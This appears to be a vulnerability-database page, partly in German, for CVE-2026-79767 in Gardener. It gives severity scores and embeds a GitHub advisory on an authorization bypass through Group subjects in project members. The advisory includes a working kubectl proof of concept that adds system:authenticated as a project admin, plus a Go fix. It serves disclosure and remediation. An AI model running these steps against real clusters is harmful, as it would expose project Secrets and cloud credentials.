CVE-2026-79767

mediumPriorität · verfolgen · 0OT-Risiko · erhöhtEPSS 0.004 · 33. PerzentilUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.39% (33rd) EPSS
CVSS 5.5 · medium
Is it mine?
4 products
Prüfe deine Angriffsfläche
Who says so?
1 sources
osv

EPSS · bewertet 2026-10-28

Gardener implements the automated management and operation of Kubernetes clusters as a service. Prior to 1.142.6, 1.143.3, 1.144.2, and 1.145.0, the customverbauthorizer admission plugin's mustCheckProjectMembers manage-members check compares changes to User subjects but does not account for Group or ServiceAccount subjects in Project.spec.members. A project administrator who lacks manage-members permission can add arbitrary Group or ServiceAccount subjects, including the system:authenticated Group, and thereby grant broad project access. The resulting access can include Shoots, Secrets, and cloud provider credentials. This issue is fixed in versions 1.142.6, 1.143.3, 1.144.2, and 1.145.0.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

5.5
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen

v3.15.5mediumCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:Nsecondary · security-advisories@github.comAusnutzbarkeit 1.2 · Auswirkung 4.2
v3.15.5mediumCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:Nsecondary · OSV
v3.15.1mediumCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:N/E:Usecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Trackcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (4)

Betroffene Produkte und Versionsbereiche.

05

Advisories (2)

Hersteller- und Ökosystem-Meldungen dazu.

  • GHSA-gfjv-gqf2-c888Gardener: Authorization Bypass via Group Subject Injection2026-09-22ghsa · osvUS

    ## Overview The `manage-members` custom verb authorization check in the Gardener API server's `customverbauthorizer` admission plugin can be bypassed by adding `Group` or `ServiceAccount` subjects to a Project's member list. The check is documented as controlling "human users or groups", but the implementation only gates changes to `User`-kind subjects. A project admin (without `manage-members` permission) can add arbitrary Group subjects - including `system:authenticated` - granting all authenticated users full project-level access. ## Technical Details The official Gardener documentation at `docs/usage/project/projects.md:90-92` explicitly states: <img width="2090" height="290" alt="image" src="https://github.com/user-attachments/assets/744f5d6f-1e03-47b5-9dc5-36f20b7e6f4b" /> However, the `mustCheckProjectMembers()` function at `admission.go` compares old and new member lists using `findHumanUsersWithRoles()`, which only tracks subjects where `isHumanUser()` returns true: ```go func mustCheckProjectMembers(oldMembers, members []core.ProjectMember, owner *rbacv1.Subject, userInfo user.Info) bool { if apiequality.Semantic.DeepEqual(oldMembers, members) { return false } if userIsOwner(userInfo, owner) { return false } var oldHumanUsers, newHumanUsers = findHumanUsersWithRoles(oldMembers), findHumanUsersWithRoles(members) // ... return !oldHumanUsers.Equal(newHumanUsers) } ``` The `isHumanUser()` function at `admission.go` only matches `Kind == "User"`: ```go func isHumanUser(subject rbacv1.Subject) bool { return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix) } ``` Kind: "Group" subjects are NOT matched by `isHumanUser()`, making Group member changes invisible to the authorization check. A project admin without manage-members permission can freely add or remove Group members. ## Steps to reproduce <img width="4322" height="1395" alt="image" src="https://github.com/user-attachments/assets/60edacce-9810-4545-8198-a96cd072616c" /> --- _Proof of concept:_ 1. Verify current project membership and confirm the owner has `manage-members` permission: ```bash # Project members before the test: $ kubectl get project local -o yaml # members: # - apiGroup: rbac.authorization.k8s.io # kind: User # name: admin-user # role: admin # roles: # - owner # Confirm the owner CAN manage-members (expected) $ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=admin-user yes ``` 2. Add a second admin user (`test-admin-user`) to the project WITHOUT the `uam` role, then confirm they lack `manage-members`: ```bash # After adding test-admin-user as admin (no uam role): $ kubectl get project local -o yaml # members: # - apiGroup: rbac.authorization.k8s.io # kind: User # name: admin-user # role: admin # roles: # - owner # - apiGroup: rbac.authorization.k8s.io # kind: User # name: test-admin-user # role: admin # Confirm test-admin-user does NOT have manage-members $ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=test-admin-user no ``` 3. Verify `test-admin-user` cannot add a human User member (the check works for Users): ```bash $ kubectl patch --as=test-admin-user project local --type=merge -p '{ "spec": { "members": [ { "kind": "User", "apiGroup": "rbac.authorization.k8s.io", "name": "new-human-user@example.com", "role": "viewer" } ] } }' Error from server (Forbidden): [projects.core.gardener.cloud](https://projects.core.gardener.cloud/) "local" is forbidden: user "test-admin-user" is not allowed to manage human users or groups in .spec.members for "projects" ``` 4. Bypass the check by adding a Group subject instead: ```bash # This should be denied but ISN'T - the manage-members check is bypassed $ kubectl patch project local --as=test-admin-user --type=json -p '[ { "op": "add", "path": "/spec/members/-", "value": { "kind": "Group", "apiGroup": "rbac.authorization.k8s.io", "name": "system:authenticated", "role": "admin", "roles": ["admin"] } } ]' project.core.gardener.cloud/local patched ``` 5. Verify the Group was added to project members: ```bash $ kubectl get project local -o yaml # members: # - apiGroup: rbac.authorization.k8s.io # kind: User # name: admin-user # role: admin # roles: # - owner # - apiGroup: rbac.authorization.k8s.io # kind: User # name: test-admin-user # role: admin # - apiGroup: rbac.authorization.k8s.io # kind: Group # name: system:authenticated # role: admin ``` 6. Demonstrate the impact - any authenticated user now has project access: ```bash # As a random user $ kubectl --as=random-user@example.com get shoots -n garden-local NAME CLOUDPROFILE PROVIDER REGION K8S VERSION HIBERNATION LAST OPERATION STATUS AGE local local local local 1.35.0 Awake Create Succeeded (100%) healthy 30m ``` >_Note: `random-user@example.com` does not exist as a real user. However, the Kubernetes `--as` global flag performs user impersonation which is treated as a successfully authenticated request, automatically adding the `system:authenticated` group. Since `system:authenticated` was added as a project admin member, this non-existent user now has full admin access to the project including all Shoots, Secrets, and cloud provider credentials._ --- ## Security Impact - Unauthorized access expansion: A project admin can grant project-level access to ANY Kubernetes group, including `system:authenticated` (all authenticated users) or `system:unauthenticated` (all unauthenticated users). ## Patching & Remediation 1. **Fix `isHumanUser()` to include Groups**: The function should match the documented behavior. Change: ```go func isHumanUser(subject rbacv1.Subject) bool { return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix) } ``` To: ```go func isNonServiceAccountSubject(subject rbacv1.Subject) bool { if subject.Kind == rbacv1.GroupKind { return true } return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix) } ```

  • GO-2026-6568Gardener: Authorization Bypass via Group Subject Injection in gardener/gardener2026-10-01vendor · osvUS

    Gardener: Authorization Bypass via Group Subject Injection in gardener/gardener. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: github.com/gardener/gardener from v1.143.0 before v1.143.3, from v1.144.0 before v1.144.2.

06

auch bekannt als (2)

Weitere Namen und Kennungen dieser Entität.

07

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2026-09-22geändert 2026-09-23
08

Referenzen (4) nvd

Externe Belege — Patches, Meldungen, Analysen.

scry

Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.

Kostenloser Scan